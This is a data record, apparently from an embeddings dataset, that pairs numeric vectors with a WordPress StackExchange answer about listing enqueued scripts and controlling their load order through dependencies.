-0.00725555419921875,
-0.01522064208984375,
0.01385498046875,
-0.042144775390625,
0.0108489990234375,
-0.0123443603515625,
0.0280609130859375,
-0.0225372314453125,
-0.0177459716796875,
0.00872802734375,
0.00911712646484375,
0.003421783447265625,
-0.115478515625,
-0.01544952392578125,
0.08514404296875,
0.048797607421875,
-0.023681640625,
0.016357421875,
0.06658935546875,
-0.03192138671875,
-0.02008056640625,
-0.003154754638671875,
-0.01001739501953125,
-0.01161956787109375,
-0.027008056640625,
-0.0004134178161621094,
0.01468658447265625,
-0.01279449462890625,
-0.02789306640625,
0.011566162109375,
0.0297088623046875,
-0.0157928466796875,
-0.025482177734375,
-0.001277923583984375,
-0.02569580078125,
0.00893402099609375,
-0.001964569091796875,
-0.06011962890625,
0.07080078125,
0.011993408203125,
0.030364990234375,
0.01788330078125,
0.0216064453125,
0.038665771484375,
-0.0126190185546875,
-0.0012865066528320312,
-0.0008969306945800781,
-0.0197906494140625,
-0.0458984375,
-0.01454925537109375,
0.029937744140625,
-0.0250091552734375,
-0.01288604736328125,
0.0310211181640625,
0.0287933349609375,
-0.0033206939697265625,
-0.0282135009765625,
-0.0086517333984375,
-0.029632568359375,
-0.0088958740234375,
0.050384521484375,
-0.0653076171875,
-0.07806396484375,
0.00818634033203125,
-0.0146942138671875,
-0.06951904296875,
0.0445556640625,
0.01338958740234375,
-0.01317596435546875,
-0.0213470458984375,
-0.08172607421875,
-0.04693603515625,
-0.0321044921875,
-0.01727294921875,
0.0153045654296875,
0.0377197265625,
-0.01288604736328125,
-0.00881195068359375,
-0.017791748046875,
0.038238525390625,
0.0244140625,
0.024169921875,
0.01018524169921875,
0.0035266876220703125,
0.0098419189453125,
-0.047698974609375,
-0.0102081298828125,
0.0024280548095703125,
-0.0206451416015625,
0.0095672607421875,
0.0184783935546875,
0.01227569580078125,
0.00988006591796875,
0.0029354095458984375,
-0.0036296844482421875,
-0.006008148193359375,
0.00756072998046875,
-0.032684326171875,
0.0270233154296875,
0.01349639892578125,
-0.041534423828125,
-0.03759765625,
-0.048492431640625,
0.009765625,
0.0019550323486328125,
-0.0382080078125,
0.039031982421875,
-0.0022678375244140625,
0.0308074951171875,
0.036468505859375,
-0.0101318359375,
0.02294921875,
0.026885986328125,
0.0284271240234375,
0.00463104248046875,
0.022857666015625,
-0.05169677734375,
0.0031566619873046875,
-0.020782470703125,
-0.0013408660888671875,
-0.0155181884765625,
0.0211181640625,
0.005161285400390625,
-0.0254669189453125,
0.0279083251953125,
-0.0797119140625,
-0.0225372314453125,
-0.0209197998046875,
0.0130462646484375,
-0.00629425048828125,
0.032379150390625,
0.016448974609375,
-0.0161285400390625,
-0.007671356201171875,
-0.005283355712890625,
0.006381988525390625,
-0.02069091796875,
-0.0179443359375,
-0.01074981689453125,
0.0343017578125,
0.015960693359375,
0.030914306640625,
0.0335693359375,
0.01007080078125,
-0.01294708251953125,
0.04998779296875,
-0.010162353515625,
0.00022161006927490234,
-0.0207672119140625,
0.08160400390625,
-0.011932373046875,
0.04193115234375,
0.00803375244140625,
0.062042236328125,
-0.0009098052978515625,
-0.02764892578125,
0.037261962890625,
0.0297088623046875,
-0.03179931640625,
-0.030609130859375,
0.038726806640625,
0.0228271484375,
0.0012083053588867188,
-0.015655517578125,
0.0261077880859375,
0.056427001953125,
0.052886962890625,
0.034210205078125,
-0.00923919677734375,
-0.016357421875,
0.027313232421875,
0.04345703125,
0.0158233642578125,
0.00881195068359375,
-0.07122802734375,
-0.01004791259765625,
0.0345458984375,
-0.02740478515625,
-0.01110076904296875,
0.018463134765625,
0.00412750244140625,
-0.0095367431640625,
0.023193359375,
0.01511383056640625,
0.010498046875,
0.0019550323486328125,
-0.0026607513427734375,
0.0239105224609375,
0.025726318359375,
-0.0240325927734375,
-0.0206146240234375,
0.032928466796875,
0.060546875,
0.0018339157104492188,
0.041748046875,
0.00801849365234375,
0.0262603759765625,
-0.0243682861328125,
-0.01358795166015625,
0.005828857421875,
0.024749755859375,
0.014801025390625,
-0.006488800048828125,
-0.00531005859375,
0.00765228271484375,
0.0396728515625,
-0.0120849609375,
0.015289306640625,
0.06494140625,
-0.02899169921875,
-0.01322174072265625,
0.0262603759765625,
0.007190704345703125,
-0.0048370361328125,
-0.005855560302734375,
-0.003734588623046875,
-0.0188446044921875,
-0.025543212890625,
-0.0261077880859375,
0.0293731689453125,
-0.044921875,
0.01262664794921875,
0.05401611328125,
-0.01499176025390625,
0.00963592529296875,
0.0117034912109375,
-0.01094818115234375,
-0.0230560302734375,
0.027801513671875,
0.00433349609375,
-0.00875091552734375,
-0.034393310546875,
0.037353515625,
0.0239715576171875,
0.0198974609375,
0.0238494873046875,
-0.0103912353515625,
0.00370025634765625,
0.022613525390625,
-0.0196990966796875,
-0.030364990234375,
-0.021697998046875,
-0.0792236328125,
0.009063720703125,
-0.037567138671875,
-0.0322265625,
-0.01152801513671875,
-0.0019502639770507812,
0.0178680419921875,
0.0125274658203125,
-0.0292205810546875,
-0.042999267578125,
-0.0238800048828125,
-0.060638427734375,
0.047515869140625,
-0.0049896240234375,
0.013824462890625,
0.0011186599731445312,
0.036468505859375,
0.0027904510498046875,
0.00853729248046875,
0.00665283203125,
-0.00945281982421875,
0.00794219970703125,
-0.0169677734375,
0.00888824462890625,
0.0026092529296875,
0.0115203857421875,
0.014862060546875,
0.0198974609375,
0.021148681640625,
-0.026214599609375,
-0.034759521484375,
0.022216796875,
0.00732421875,
0.041778564453125,
-0.0161590576171875,
-0.0428466796875,
0.0019741058349609375,
0.017822265625,
-0.057281494140625,
-0.066162109375,
0.0254974365234375,
-0.05902099609375,
0.053680419921875,
0.031768798828125,
0.006381988525390625,
0.0156707763671875,
0.03887939453125,
-0.0195465087890625,
0.0081634521484375,
-0.0256195068359375,
-0.003204345703125,
0.0109405517578125,
-0.0172119140625,
-0.016876220703125,
0.009002685546875,
0.0009474754333496094,
-0.03546142578125,
0.0021762847900390625,
-0.018341064453125,
0.0129852294921875,
0.005977630615234375,
0.021453857421875,
0.01018524169921875,
-0.029815673828125,
0.041534423828125,
-0.032745361328125,
-0.004962921142578125,
-0.0138092041015625,
-0.0147552490234375,
-0.005916595458984375,
0.06610107421875,
0.020263671875,
-0.0259552001953125,
0.028228759765625,
-0.00850677490234375,
-0.059173583984375,
0.07568359375,
-0.0745849609375,
0.0083465576171875,
-0.0219573974609375,
-0.01171875,
0.006374359130859375,
-0.0157012939453125,
-0.03326416015625,
0.05511474609375,
-0.038482666015625,
0.0010061264038085938,
0.01325225830078125,
0.04449462890625,
0.0019664764404296875,
0.0044097900390625,
-0.01088714599609375,
0.007671356201171875,
-0.0008220672607421875,
-0.0177764892578125,
0.01031494140625,
-0.0165252685546875,
0.0156707763671875,
0.00232696533203125,
0.007160186767578125,
-0.0105133056640625,
0.0012111663818359375,
0.0292205810546875,
0.050079345703125,
0.027191162109375,
0.013671875,
-0.06463623046875,
0.055450439453125,
0.016204833984375,
0.0287933349609375,
0.0010004043579101562,
-0.0305938720703125,
-0.055877685546875,
-0.01178741455078125,
-0.0037994384765625,
-0.04449462890625,
0.035980224609375,
-0.04534912109375,
0.0202178955078125,
-0.00909423828125,
-0.0184326171875,
-0.0182037353515625,
0.024261474609375,
-0.00464630126953125,
-0.01346588134765625,
-0.05450439453125,
-0.0177764892578125,
0.0270233154296875,
0.0106048583984375,
-0.01148223876953125,
0.0108795166015625,
0.050018310546875,
0.0181427001953125,
-0.01436614990234375,
-0.032867431640625,
-0.0321044921875,
0.0176849365234375,
-0.0271453857421875,
0.006031036376953125,
0.0034961700439453125,
-0.0143280029296875,
0.023956298828125,
-0.02191162109375,
0.0335693359375,
-0.023834228515625,
0.019683837890625,
-0.02252197265625,
-0.02886962890625,
0.037078857421875,
-0.02215576171875,
0.018035888671875,
-0.0201568603515625,
-0.01012420654296875,
0.01195526123046875,
0.035675048828125,
0.0194854736328125,
-0.00443267822265625,
-0.0159759521484375,
-0.020233154296875,
-0.02264404296875,
0.0194854736328125,
-0.02130126953125,
0.0055389404296875,
-0.00981903076171875,
0.0176239013671875,
-0.0299835205078125,
-0.0140228271484375,
-0.006992340087890625,
-0.049102783203125,
-0.032379150390625,
-0.0328369140625,
-0.0107269287109375,
-0.0252532958984375,
-0.01885986328125,
-0.035552978515625,
-0.01332855224609375,
0.09539794921875,
-0.016998291015625,
-0.07037353515625,
0.00957489013671875,
-0.0214691162109375,
0.0498046875,
0.053070068359375,
0.0927734375,
0.0222930908203125,
-0.034515380859375,
0.004909515380859375,
0.010345458984375,
0.07305908203125,
-0.00803375244140625,
-0.0034770965576171875,
0.05157470703125,
-0.01507568359375,
0.01126861572265625,
0.0197601318359375,
0.08905029296875,
-0.06158447265625,
0.077880859375,
-0.01251983642578125,
0.0220794677734375,
0.01526641845703125,
0.038421630859375,
0.0306396484375,
-0.00783538818359375,
-0.03271484375,
0.03216552734375,
-0.0311431884765625,
0.00583648681640625,
0.043365478515625,
0.04071044921875,
0.004413604736328125,
0.034515380859375,
-0.0138092041015625,
-0.019989013671875,
-0.038482666015625,
-0.005462646484375,
-0.00978851318359375,
-0.039764404296875,
-0.046112060546875,
-0.0020351409912109375,
-0.006702423095703125,
-0.0037212371826171875,
-0.036651611328125,
-0.015777587890625,
0.02642822265625,
-0.01119232177734375,
0.038726806640625,
-0.0104522705078125,
-0.00446319580078125,
-0.00536346435546875,
0.0114593505859375,
-0.03125,
-0.0030994415283203125,
-0.0054168701171875,
-0.01715087890625,
-0.026763916015625,
0.0003523826599121094,
0.00269317626953125,
0.04095458984375,
-0.01293182373046875,
0.0005664825439453125,
-0.0516357421875,
0.05133056640625,
-0.06463623046875,
-0.0080718994140625,
0.06170654296875,
0.019195556640625,
-0.022064208984375,
-0.01351165771484375,
-0.039093017578125,
-0.021331787109375,
-0.06707763671875,
-0.07891845703125,
-0.0296173095703125,
0.0242156982421875,
-0.04034423828125,
-0.0242156982421875,
0.0419921875,
0.10858154296875,
-0.0060272216796875,
0.052886962890625,
-0.032684326171875,
-0.036865234375,
-0.01438140869140625,
-0.0140533447265625,
0.0210418701171875,
0.01020050048828125,
-0.007068634033203125,
0.00031685829162597656,
0.021087646484375,
-0.02490234375,
0.00039839744567871094,
-0.0183563232421875,
-0.0170440673828125,
-0.0269622802734375,
-0.01477813720703125,
-0.0005335807800292969,
0.046539306640625,
-0.00928497314453125,
-0.046112060546875,
0.00997161865234375,
0.00604248046875,
-0.0291290283203125,
0.00843048095703125,
0.0284423828125,
-0.0082244873046875,
-0.059356689453125,
-0.006500244140625,
0.049072265625,
0.0016336441040039062,
-0.0252532958984375,
0.02587890625,
-0.01110076904296875,
0.046722412109375,
0.01291656494140625,
-0.03961181640625,
0.036468505859375,
0.0069580078125,
-0.0254058837890625,
0.0161895751953125,
-0.0008668899536132812,
0.01480865478515625,
0.002849578857421875,
0.0016326904296875,
-0.02777099609375,
0.01549530029296875,
0.062347412109375,
0.0185089111328125,
-0.01386260986328125,
0.06085205078125,
-0.02862548828125,
0.019012451171875,
0.045654296875,
0.07501220703125,
-0.0819091796875,
0.022308349609375,
0.026458740234375,
0.008575439453125,
0.042144775390625,
-0.023193359375,
0.0083160400390625,
-0.021331787109375,
0.0280303955078125,
-0.00920867919921875,
-0.0182037353515625,
0.00020992755889892578,
-0.01654052734375,
0.007175445556640625,
-0.038330078125,
-0.0012874603271484375,
0.011566162109375,
0.01361083984375,
0.0178070068359375,
-0.0017957687377929688,
0.010711669921875,
-0.035003662109375,
-0.034881591796875,
-0.0019626617431640625,
-0.0235595703125,
-0.0248260498046875,
0.016815185546875,
-0.051361083984375,
0.043792724609375,
0.0166778564453125,
0.0697021484375,
0.05865478515625,
0.0166015625,
0.0438232421875,
-0.0307464599609375,
-0.0164642333984375,
0.0302276611328125,
-0.0162353515625,
-0.015289306640625,
-0.009490966796875,
0.03851318359375,
-0.01554107666015625,
0.0211334228515625,
-0.0035610198974609375,
0.00624847412109375,
-0.0279998779296875,
-0.052093505859375,
0.08203125,
-0.03936767578125,
-0.0084075927734375,
0.0008063316345214844,
0.032196044921875,
-0.0005502700805664062,
0.01520538330078125,
-0.0007853507995605469,
-0.0355224609375,
0.0027256011962890625,
0.000774383544921875,
-0.019744873046875,
0.003082275390625,
0.0160369873046875,
-0.0806884765625,
-0.0008244514465332031,
0.03607177734375,
0.0175933837890625,
-0.047576904296875,
-0.0153350830078125,
0.011993408203125,
-0.045440673828125,
-0.0285797119140625,
0.0693359375,
0.00960540771484375,
0.036956787109375,
-0.018341064453125,
0.0033359527587890625,
0.01953125,
0.007808685302734375,
0.080810546875,
0.0284881591796875,
-0.00411224365234375,
-0.01812744140625,
0.0154876708984375,
-0.0285491943359375,
-0.058563232421875,
0.0455322265625,
0.02716064453125,
0.026031494140625,
0.06640625,
0.0213623046875,
0.041595458984375,
0.0027942657470703125,
-0.02801513671875,
0.036773681640625,
0.0183258056640625,
0.0179290771484375,
-0.011016845703125,
0.0272674560546875,
0.0023403167724609375,
-0.0194549560546875,
0.0017175674438476562,
-0.004734039306640625,
-0.032257080078125,
0.0254058837890625,
-0.0195159912109375,
-0.01090240478515625,
0.005847930908203125,
-0.027862548828125,
0.032928466796875,
0.00817108154296875,
0.06488037109375,
0.054595947265625,
0.0142822265625,
0.05859375,
0.050506591796875,
0.05108642578125,
0.0273590087890625,
0.00882720947265625,
0.063720703125,
0.0153961181640625,
0.0260467529296875,
-0.0416259765625,
-0.01654052734375,
0.028167724609375,
0.08905029296875,
-0.047393798828125,
-0.033294677734375,
0.025482177734375,
0.000701904296875,
-0.00670623779296875,
0.023956298828125,
0.0276031494140625,
-0.0277099609375,
0.0028781890869140625,
-0.05731201171875,
0.020843505859375,
0.0127716064453125,
0.0168609619140625,
-0.00836944580078125,
0.01678466796875,
-0.0252685546875,
-0.006061553955078125,
-0.05908203125,
0.051239013671875,
0.0226593017578125,
-0.01708984375,
-0.005344390869140625,
0.0380859375,
0.08160400390625,
0.009552001953125,
-0.0016412734985351562,
0.03173828125,
-0.0166778564453125,
0.017333984375,
-0.05303955078125,
-0.048492431640625,
-0.00408172607421875,
0.04498291015625,
-0.0055694580078125,
-0.049560546875,
-0.01192474365234375,
0.0204315185546875,
-0.0112152099609375,
-0.019744873046875,
0.0183258056640625,
-0.01483154296875,
-0.0178680419921875,
-0.0304718017578125,
0.0128631591796875,
0.0140533447265625,
0.0139007568359375,
0.0009665489196777344,
0.021453857421875,
0.03314208984375,
-0.0007205009460449219,
0.0556640625,
-0.00360107421875,
0.00799560546875,
0.01271820068359375,
-0.0115509033203125,
0.02239990234375,
0.01320648193359375,
0.01561737060546875,
0.0093536376953125,
-0.02386474609375,
0.002506256103515625,
0.004421234130859375,
0.01306915283203125,
0.0136566162109375,
0.0200653076171875,
0.0177154541015625,
-0.0281982421875,
0.034576416015625,
0.00597381591796875,
-0.00934600830078125,
-0.00795745849609375,
0.010650634765625,
-0.034912109375,
-0.0731201171875,
-0.0215911865234375,
-0.0085296630859375,
0.00322723388671875,
-0.004970550537109375,
0.06414794921875,
0.0184173583984375,
0.003093719482421875,
-0.052154541015625,
0.036712646484375,
-0.061126708984375,
-0.061553955078125,
0.09027099609375,
-0.009124755859375,
-0.0302734375,
-0.00014603137969970703,
-0.06451416015625,
0.06768798828125,
0.026031494140625,
0.032867431640625,
0.058685302734375,
0.02874755859375,
-0.005985260009765625,
-0.0289154052734375,
-0.08502197265625,
-0.049713134765625,
0.0012760162353515625,
0.0229339599609375,
-0.00025177001953125,
0.022491455078125,
-0.0260162353515625,
-0.0323486328125,
-0.0255126953125,
0.02093505859375,
-0.08367919921875,
0.016357421875,
-0.006855010986328125,
0.0058135986328125,
0.02203369140625,
0.0621337890625,
0.005817413330078125,
0.005157470703125,
-0.0212554931640625,
0.055206298828125,
-0.0281829833984375,
0.047698974609375,
0.034149169921875,
-0.028228759765625,
-0.027496337890625,
-0.0270538330078125,
-0.0102691650390625,
-0.0285491943359375,
-0.0286865234375,
-0.0059051513671875,
-0.0222320556640625,
-0.01302337646484375,
-0.0003910064697265625,
-0.0064544677734375,
-0.00897216796875,
-0.002918243408203125,
0.0216064453125,
-0.0005927085876464844,
-0.00782012939453125,
-0.027130126953125,
-0.0268096923828125,
-0.0013713836669921875,
-0.0286102294921875,
0.03448486328125,
-0.0155792236328125,
-0.0287017822265625,
-0.043182373046875,
-0.0305633544921875,
-0.039337158203125,
0.02508544921875,
0.049591064453125,
-0.04150390625,
0.0355224609375,
-0.0222320556640625,
-0.06268310546875,
0.0028324127197265625,
0.0293426513671875,
0.04278564453125,
-0.018218994140625,
-0.0111541748046875,
0.0777587890625,
0.027008056640625,
0.116943359375,
-0.020477294921875,
-0.0294647216796875,
-0.026153564453125,
0.03582763671875,
0.0071258544921875,
-0.057586669921875,
-0.00408172607421875,
-0.0313720703125,
-0.0010442733764648438,
-0.0198974609375,
-0.000835418701171875,
0.0037822723388671875,
-0.0266265869140625,
-0.035552978515625,
0.049530029296875,
0.0059356689453125,
-0.0210723876953125,
0.02410888671875,
-0.01268768310546875,
0.0005602836608886719,
0.0306549072265625,
0.031402587890625,
-0.051513671875,
-0.04779052734375,
-0.02984619140625,
0.0238037109375,
-0.0090484619140625,
0.026397705078125,
-0.0179443359375,
-0.038330078125,
0.029327392578125,
0.0292510986328125,
0.0252838134765625,
0.0288238525390625,
0.0093231201171875,
-0.022247314453125,
0.0263824462890625,
-0.0562744140625,
-0.073486328125,
-0.0582275390625,
-0.0118255615234375,
-0.03680419921875,
-0.0008511543273925781,
0.0132904052734375,
0.0265350341796875,
0.059600830078125,
0.046539306640625,
-0.00514984130859375,
-0.052459716796875,
0.01934814453125,
0.0029048919677734375,
0.0224761962890625,
-0.003032684326171875,
-0.004917144775390625,
-0.03802490234375,
-0.0313720703125,
0.0267486572265625,
-0.04376220703125,
0.01351165771484375,
0.006420135498046875,
-0.056304931640625,
0.024383544921875,
0.01258087158203125,
-0.00917816162109375,
-0.048736572265625,
-0.0626220703125,
0.030242919921875,
-0.040740966796875,
-0.041534423828125,
0.0174407958984375,
0.035308837890625,
-0.0209808349609375,
0.01513671875,
-0.0498046875,
-0.0055694580078125,
0.0013036727905273438,
0.034942626953125,
-0.019012451171875,
0.0164337158203125,
-0.01824951171875,
0.0245361328125,
0.0002123117446899414,
0.0267791748046875,
0.0028247833251953125,
0.021026611328125,
-0.0261383056640625,
0.059906005859375,
0.0028324127197265625,
0.03839111328125,
0.003093719482421875,
0.0325927734375,
-0.034576416015625,
0.060272216796875,
-0.00785064697265625,
-0.0245819091796875,
-0.0159454345703125,
0.00264739990234375,
0.00313568115234375,
0.040985107421875,
0.02532958984375,
-0.03900146484375,
0.032440185546875,
-0.0120849609375,
0.0312042236328125,
0.017333984375
] |
b50a67c025590be98cfbb063d14a7a9c11312ebb
|
Wordpress Stackexchange
Q: wp_enqueue_script : how to change loading order of scripts? I would like to know how to list all scripts loaded on a page, ranked by order and change this order.
A: When you take a look at the source of wp_enqueue_scripts() (or the register-sister), then you'll see that there's the global $wp_scripts handling all the heavy stuff.
Basically the global is just an instance of WP_Scripts, which is a child of WP_Dependency and you can use all the magic from there if there's no higher level API available.
To see all registered, enqueued, etc. scripts, simply
var_dump( $GLOBALS['wp_scripts']->registered );
or do the same with enqueue. Luckily you got one argument to actually sort your stuff: dependencies. So if you want to be one script loaded after jQuery has been loaded, simply add a dependency of array( 'jquery' ) when registering or enqueueing your script. That's the way you order them in WordPress: Make them dependent on each other. Btw, the dependency name always simply is the name it was registered with, called the "handle".
|
Q: wp_enqueue_script : how to change loading order of scripts? I would like to know how to list all scripts loaded on a page, ranked by order and change this order.
A: When you take a look at the source of wp_enqueue_scripts() (or the register-sister), then you'll see that there's the global $wp_scripts handling all the heavy stuff.
Basically the global is just an instance of WP_Scripts, which is a child of WP_Dependency and you can use all the magic from there if there's no higher level API available.
To see all registered, enqueued, etc. scripts, simply
var_dump( $GLOBALS['wp_scripts']->registered );
or do the same with enqueue. Luckily you got one argument to actually sort your stuff: dependencies. So if you want to be one script loaded after jQuery has been loaded, simply add a dependency of array( 'jquery' ) when registering or enqueueing your script. That's the way you order them in WordPress: Make them dependent on each other. Btw, the dependency name always simply is the name it was registered with, called the "handle".
|
wordpress
|
{
"language": "en",
"length": 175,
"provenance": "stackexchange_00019.jsonl.gz:437196",
"question_score": "7",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/114473"
}
|
[
0.005825042724609375,
-0.0038242340087890625,
-0.08843994140625,
-0.0421142578125,
0.0203857421875,
-0.05908203125,
0.01091766357421875,
0.045196533203125,
-0.02886962890625,
0.006744384765625,
-0.02960205078125,
0.00812530517578125,
-0.060455322265625,
-0.005008697509765625,
-0.01611328125,
-0.08392333984375,
0.05670166015625,
-0.046417236328125,
-0.01183319091796875,
-0.01336669921875,
0.01448822021484375,
0.0265960693359375,
-0.0003445148468017578,
0.1123046875,
0.01409912109375,
-0.034759521484375,
0.0921630859375,
-0.0020351409912109375,
0.0128631591796875,
-0.01340484619140625,
0.0220489501953125,
-0.0174560546875,
-0.006839752197265625,
0.017333984375,
0.0208587646484375,
-0.01454925537109375,
0.031585693359375,
0.01373291015625,
0.040618896484375,
0.0092315673828125,
0.021026611328125,
-0.007045745849609375,
0.035400390625,
-0.00389862060546875,
0.004058837890625,
-0.026885986328125,
0.00958251953125,
-0.040130615234375,
0.018798828125,
-0.0081024169921875,
0.00966644287109375,
0.0075531005859375,
0.0286712646484375,
-0.003997802734375,
-0.01251220703125,
0.003692626953125,
-0.033966064453125,
0.00551605224609375,
-0.0006456375122070312,
0.07366943359375,
0.0262451171875,
0.0282135009765625,
-0.0335693359375,
-0.06072998046875,
-0.035308837890625,
-0.0167694091796875,
0.0010223388671875,
0.0175323486328125,
-0.02197265625,
-0.0242462158203125,
0.034210205078125,
0.0168304443359375,
-0.017974853515625,
-0.02984619140625,
0.0174102783203125,
0.0211944580078125,
-0.01204681396484375,
-0.0050048828125,
0.01934814453125,
0.026763916015625,
0.0302581787109375,
-0.05230712890625,
0.0011148452758789062,
0.003170013427734375,
0.006107330322265625,
0.0146484375,
0.0010814666748046875,
-0.010498046875,
-0.0212860107421875,
-0.0033245086669921875,
-0.0275115966796875,
0.00865936279296875,
0.0010747909545898438,
0.00772857666015625,
-0.0217132568359375,
0.017547607421875,
0.07470703125,
0.017120361328125,
0.0183563232421875,
-0.0208892822265625,
0.0245208740234375,
-0.06048583984375,
0.0216827392578125,
0.0022220611572265625,
-0.0203399658203125,
0.005619049072265625,
0.0006513595581054688,
-0.0232696533203125,
-0.0004887580871582031,
0.0283660888671875,
-0.0184783935546875,
-0.00545501708984375,
0.04681396484375,
0.041748046875,
-0.04156494140625,
-0.056884765625,
-0.0212860107421875,
0.0263671875,
-0.0119781494140625,
0.0185089111328125,
0.024688720703125,
0.034942626953125,
-0.00844573974609375,
-0.03363037109375,
0.0007524490356445312,
-0.0268402099609375,
-0.02166748046875,
-0.0241851806640625,
-0.0122222900390625,
0.0214691162109375,
-0.00418853759765625,
-0.007068634033203125,
0.05145263671875,
0.04229736328125,
0.00777435302734375,
-0.01824951171875,
0.0167694091796875,
0.00972747802734375,
-0.0172576904296875,
0.0186614990234375,
0.0010728836059570312,
-0.04107666015625,
-0.0080718994140625,
-0.00574493408203125,
0.0148773193359375,
-0.0009217262268066406,
0.0225830078125,
0.025238037109375,
0.01073455810546875,
-0.009490966796875,
0.01016998291015625,
0.0023059844970703125,
0.0242767333984375,
0.01611328125,
0.0083160400390625,
-0.00023365020751953125,
0.0643310546875,
-0.026214599609375,
-0.024658203125,
-0.04241943359375,
-0.04766845703125,
0.01300048828125,
0.0204010009765625,
-0.036529541015625,
-0.0143280029296875,
-0.0287322998046875,
0.029541015625,
0.01396942138671875,
0.03521728515625,
0.01505279541015625,
-0.0160064697265625,
-0.03485107421875,
0.040802001953125,
0.00234222412109375,
-0.0269927978515625,
0.04791259765625,
-0.0040740966796875,
-0.004337310791015625,
0.01531219482421875,
0.016510009765625,
-0.0104217529296875,
-0.033203125,
0.018402099609375,
-0.0099639892578125,
-0.042083740234375,
-0.026885986328125,
0.020050048828125,
0.023468017578125,
0.019134521484375,
0.0218658447265625,
0.07342529296875,
0.0023632049560546875,
-0.023101806640625,
0.015960693359375,
-0.010711669921875,
0.010528564453125,
0.0045166015625,
0.0467529296875,
-0.0005254745483398438,
-0.048492431640625,
0.0224151611328125,
0.019744873046875,
-0.00701904296875,
-0.02734375,
-0.047607421875,
-0.00798797607421875,
-0.011688232421875,
0.034881591796875,
-0.006134033203125,
0.005199432373046875,
0.0086212158203125,
0.0296783447265625,
-0.037322998046875,
-0.035064697265625,
-0.042816162109375,
0.0352783203125,
-0.00678253173828125,
0.09124755859375,
-0.007724761962890625,
0.04473876953125,
-0.012420654296875,
-0.0592041015625,
0.002899169921875,
-0.00955963134765625,
0.00122833251953125,
0.006702423095703125,
-0.036590576171875,
-0.0174102783203125,
0.0197296142578125,
-0.0217742919921875,
0.0318603515625,
0.05572509765625,
0.0200042724609375,
0.0816650390625,
0.00853729248046875,
-0.0066070556640625,
-0.0021915435791015625,
-0.043914794921875,
0.01654052734375,
0.01288604736328125,
0.039398193359375,
0.053985595703125,
0.0190887451171875,
0.031463623046875,
0.0234832763671875,
-0.07501220703125,
-0.00036072731018066406,
0.007106781005859375,
-0.006023406982421875,
0.0098724365234375,
0.0079345703125,
0.01137542724609375,
0.0219268798828125,
-0.0157928466796875,
0.010284423828125,
0.047332763671875,
0.0242767333984375,
0.0239105224609375,
-0.006511688232421875,
0.03326416015625,
-0.00907135009765625,
0.002208709716796875,
-0.00859832763671875,
0.002597808837890625,
0.018829345703125,
-0.022308349609375,
0.0189361572265625,
0.0021514892578125,
0.002410888671875,
-0.0182647705078125,
0.0192108154296875,
-0.0160064697265625,
-0.01119232177734375,
-0.0164794921875,
0.0284881591796875,
-0.03851318359375,
-0.018524169921875,
0.0208282470703125,
-0.032806396484375,
-0.0190887451171875,
-0.01311492919921875,
0.003665924072265625,
-0.02886962890625,
-0.00015306472778320312,
-0.0217742919921875,
-0.052642822265625,
0.040802001953125,
0.04376220703125,
-0.032806396484375,
0.0009775161743164062,
0.0224151611328125,
0.032562255859375,
0.0034198760986328125,
-0.0110015869140625,
0.0103759765625,
-0.00389862060546875,
0.041748046875,
-0.0292816162109375,
0.019195556640625,
-0.022705078125,
0.026611328125,
0.0496826171875,
0.01412200927734375,
-0.007049560546875,
-0.0002951622009277344,
0.051788330078125,
0.032745361328125,
-0.03314208984375,
-0.006317138671875,
0.02703857421875,
-0.0748291015625,
0.0086669921875,
0.01800537109375,
0.05535888671875,
-0.0022487640380859375,
-0.05242919921875,
0.004627227783203125,
0.032379150390625,
-0.09478759765625,
-0.12310791015625,
-0.04302978515625,
-0.0299072265625,
0.06396484375,
-0.00470733642578125,
0.00902557373046875,
-0.03338623046875,
0.005893707275390625,
0.04010009765625,
-0.0266876220703125,
0.004138946533203125,
-0.033782958984375,
-0.0289154052734375,
-0.035186767578125,
0.027618408203125,
-0.003917694091796875,
-0.000049591064453125,
0.0186309814453125,
0.06707763671875,
0.0229034423828125,
-0.04302978515625,
0.008331298828125,
0.012298583984375,
-0.0257415771484375,
-0.006069183349609375,
0.032684326171875,
-0.08502197265625,
-0.007663726806640625,
-0.0116729736328125,
-0.002094268798828125,
0.01165008544921875,
0.0160064697265625,
0.020965576171875,
-0.00353240966796875,
-0.0262298583984375,
0.021942138671875,
0.0299072265625,
-0.029815673828125,
-0.039459228515625,
0.01447296142578125,
-0.07257080078125,
-0.0287628173828125,
0.0122528076171875,
-0.02728271484375,
-0.022491455078125,
-0.00399017333984375,
-0.0163726806640625,
-0.005096435546875,
0.0203704833984375,
0.0341796875,
-0.012176513671875,
-0.0048370361328125,
0.004673004150390625,
0.03985595703125,
0.00157928466796875,
0.03466796875,
-0.02606201171875,
0.0623779296875,
-0.0007653236389160156,
-0.0357666015625,
0.00756072998046875,
0.0251312255859375,
-0.0149993896484375,
-0.0225067138671875,
-0.057830810546875,
-0.0130615234375,
0.0167999267578125,
-0.0233306884765625,
0.017578125,
-0.0225982666015625,
-0.0187530517578125,
0.0169219970703125,
0.0804443359375,
-0.0174560546875,
-0.0023632049560546875,
0.032684326171875,
0.01424407958984375,
-0.05731201171875,
-0.019561767578125,
-0.0728759765625,
-0.00434112548828125,
-0.0615234375,
0.029388427734375,
-0.00804901123046875,
-0.00901031494140625,
-0.022552490234375,
-0.00414276123046875,
-0.04205322265625,
-0.042633056640625,
0.045013427734375,
-0.04931640625,
-0.012054443359375,
0.015167236328125,
-0.00791168212890625,
-0.0175018310546875,
-0.031890869140625,
-0.00829315185546875,
-0.08868408203125,
-0.016357421875,
-0.05560302734375,
0.0965576171875,
0.048004150390625,
-0.04034423828125,
-0.0012140274047851562,
0.06219482421875,
0.0101318359375,
0.0318603515625,
0.040740966796875,
0.0150299072265625,
0.032379150390625,
-0.0187225341796875,
0.0198516845703125,
-0.041748046875,
-0.0012054443359375,
-0.039337158203125,
-0.06060791015625,
-0.0186920166015625,
-0.00689697265625,
0.0435791015625,
0.0154266357421875,
-0.0163116455078125,
-0.0308837890625,
-0.0062408447265625,
-0.03533935546875,
-0.0063629150390625,
-0.0017614364624023438,
-0.0243988037109375,
0.0015516281127929688,
-0.05615234375,
0.00858306884765625,
-0.02203369140625,
-0.00464630126953125,
-0.0089569091796875,
0.05755615234375,
0.04425048828125,
-0.004970550537109375,
0.0263671875,
0.009429931640625,
-0.004199981689453125,
0.0199127197265625,
0.043792724609375,
-0.02215576171875,
0.0225982666015625,
0.0006814002990722656,
-0.03399658203125,
0.00916290283203125,
0.0284271240234375,
0.0230712890625,
0.033843994140625,
-0.0025959014892578125,
-0.0011320114135742188,
